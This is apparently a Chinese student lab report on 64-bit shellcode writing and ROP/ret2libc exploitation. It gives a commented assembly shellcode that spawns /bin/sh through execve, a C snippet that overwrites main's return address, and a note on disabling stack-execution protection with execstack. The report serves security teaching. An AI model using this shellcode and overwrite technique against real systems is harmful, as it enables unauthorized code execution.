逆向进阶

20175314 2020-3 《网络对抗技术》Exp1Plus 逆向进阶 Week3

一、实践内容

Task1 (5-10分)

  • 自己编写一个64位shellcode(参考shellcode指导)。
  • 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。

Task 2 (5-10分)

  • 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”(参考ROP)。

Task 3 (5-25分)

  • 可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。
  • 或任何自己想弄明白的相关问题。包括非编程实践,如:我们当前的程序还有这样的漏洞吗?

二、基础知识

安装必要软件包

  • root用户权限下
apt-get install gcc-multilib//安装gcc-multilib(生成多平台代码)
apt-get install wxhexeditor//安装wxhexeditor(16进制文本编辑器)

预备知识

  • Linux X86和X64的区别

  • 在开始前学习并实践Shellcode基础

  • 非常好用的Shellcode生成器

  • ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码,ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。不同于return-to-libc攻击(攻击者不需要可执行的栈,甚至不需要shellcode,通过将程序的控制权跳转到系统自己的可执行代码),R0P攻击攻击之处在于以ret指令结尾的函数代码片段,而不是整个函数本身去完成预定的操作。

    • 从广义角度讲,return-to-libc攻击ROP攻击的特例。
    • 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构。
    • 与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。

实践原理

  • Linux下ELF格式

  • 重写shellcode汇编代码:shellcode要将字符串/bin/sh作为参数传递,shellcode被写入缓冲区后,代码的位置是不固定的,因为call指令执行的第一个动作就是将下一条指令的地址压栈,所以利用call指令能够得到/bin/sh这个字符串,我们把字符串安排在call指令后,目的就是要把它压入栈中。

  • ROP的核心思想:

    • 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段gadget,这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
    • 操作系统通过栈来进行函数的调用和返回,函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分,在Linux中 ,通过%esp%ebp寄存器维护栈顶指针和栈帧的起始地址,%eip是程序计数器寄存器。
    • 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标。

二、实验步骤

1、Task1

  • 1、使用vim编写shellcode.c

  • 2、gcc -o shellcode shellcode.c编译生成可执行文件,执行查看效果

  • 3、objdump -d shellcode > shellcode.s 生成反汇编代码,找到main函数

  • 4、参照上面的反汇编代码使用vim重新编写scode.s

as -o scode.o scode.s      //编译
ld -o scode scode.o        //连接
./scode                    //运行
以上汇编代码的解释
jmp   cl                   #跳到cl标签处,即call pp
call  pp                   #将字符串压栈,同时返回到上面pp标签处
popq  %rcx                 #将字符串/bin/sh的地址存入rcx(通用寄存器,也可以选择其他寄存器)
pushq %rbp                 #本条指令及以下两条指令都是在建立一个新的栈空间
mov   %rsp, %rbp           #真正注入的shellcode代码可以不用创建这个栈
subq  $0x20, %rsp          #但是bin/sh字符串是放在了代码段里不允许修改的空间
movq  %rcx, -0x10(%rbp)    #将字符串复制到栈
movq  $0x0,-0x8(%rbp)     #创建调用exec时的参数name[1],将它置0
lea   -0x10(%rbp), %rsi    #这是execve第二个参数,它需要**类型,所以用lea传送地址给rsi
mov   -0x10(%rbp), %rdi    #mov将字符串传给rdi,这是execve第一个参数
mov   $59, %rax            #59是execve的系统调用号,在/usr/include/asm/unistd_64.h里可以查询到
syscall                #系统调用,可以取代int 0x80
  • 5、objdump反汇编scode(这里使用可以直接输出shellcode的命令)

  • 6、在C语言程序中测试

因为64位系统地址宽度是64位的,所以要使用long类型
ret作为main的第一个局部变量,必定是存储在main的栈空间内
其中long * ret 这条指令占据了一个64位, 当ret地址加1(64位)时,ret就到到达栈的基址位置(rbp)
main函数的返回地址还在栈基址之上的高地址中,距离rbp还有64位宽度,所以ret需要加上2(64位),才能到达main的返回地址的保存位置
(*ret) = (long)code,用code的地址将main返回地址覆盖

三、遇到的问题

问题:汇编报错nasm:fatal:unable to open output file

  • 解决方案:路径中包含_/+/-等符号,重新设置路径即可编译通过

问题:C语言程序测试Shellcode段错误

  • 解决方案:GDB调试看main函数的调用,Shellcode是以全局字符数组变量的形式存储在进程堆栈中的数据段中,数据段是没有可执行权限的,所以一旦PC寄存器进入到这里面,那么程序就会报错。用命令将要运行的程序用execstack解除可执行栈的保护

四、参考资料

原文地址:https://www.cnblogs.com/SANFENs/p/12452195.html